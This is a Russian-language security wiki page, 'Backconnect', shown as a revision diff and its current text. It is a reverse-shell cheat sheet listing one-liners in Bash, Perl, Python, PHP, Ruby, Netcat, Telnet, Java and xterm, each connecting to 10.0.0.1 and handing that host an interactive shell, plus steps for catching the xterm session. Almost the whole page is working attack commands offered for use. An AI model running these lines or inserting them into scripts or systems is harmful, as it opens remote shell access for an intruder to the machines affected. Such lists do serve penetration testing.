Backconnect — различия между версиями
Материал из InformationSecurity WIKI
Drakylar (обсуждение | вклад) (Новая страница: «Bash <syntaxhighlight lang="bash" line="1" enclose="div">bash -i >& /dev/tcp/10.0.0.1/8080 0>&1</syntaxhighlight> PERL <syntaxhighlight lang="bash" line="1" en…») |
Drakylar (обсуждение | вклад) м |
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| (не показана 1 промежуточная версия этого же участника) | |||
| Строка 1: | Строка 1: | ||
Bash | Bash | ||
| − | <syntaxhighlight lang="bash" line="1" enclose="div">bash -i >& /dev/tcp/10.0.0.1/8080 0>&1</syntaxhighlight> | + | <syntaxhighlight lang="bash" line="1" enclose="div">bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 2>&1</syntaxhighlight> |
| Строка 22: | Строка 22: | ||
<syntaxhighlight lang="bash" line="1" enclose="div">rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f</syntaxhighlight> | <syntaxhighlight lang="bash" line="1" enclose="div">rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f</syntaxhighlight> | ||
| + | <syntaxhighlight lang="bash" line="1" enclose="div">mknod backpipe p && nc 10.0.0.1 1234 0<backpipe | /bin/bash 1>backpipe</syntaxhighlight> | ||
| + | |||
| + | Telnet | ||
| + | |||
| + | <syntaxhighlight lang="bash" line="1" enclose="div">mknod backpipe p && telnet 10.0.0.1 1234 0<backpipe | /bin/bash 1>backpipe</syntaxhighlight> | ||
| + | |||
| + | <syntaxhighlight lang="bash" line="1" enclose="div">telnet 127.0.0.1 8080 | /bin/bash | telnet 127.0.0.1 8888</syntaxhighlight> | ||
Java | Java | ||
<syntaxhighlight lang="java" line="1" enclose="div">r = Runtime.getRuntime() | <syntaxhighlight lang="java" line="1" enclose="div">r = Runtime.getRuntime() | ||
| − | + | p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) | |
| − | + | p.waitFor() | |
</syntaxhighlight> | </syntaxhighlight> | ||
Текущая версия на 09:08, 19 января 2017
Bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 2>&1
PERL
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'Netcat
nc -e /bin/sh 10.0.0.1 1234rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/fmknod backpipe p && nc 10.0.0.1 1234 0<backpipe | /bin/bash 1>backpipeTelnet
mknod backpipe p && telnet 10.0.0.1 1234 0<backpipe | /bin/bash 1>backpipetelnet 127.0.0.1 8080 | /bin/bash | telnet 127.0.0.1 8888Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
xterm
xterm -display 10.0.0.1:1
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):
Xnest :1You’ll need to authorise the target to connect to you (command also run on your host):
xhost +targetip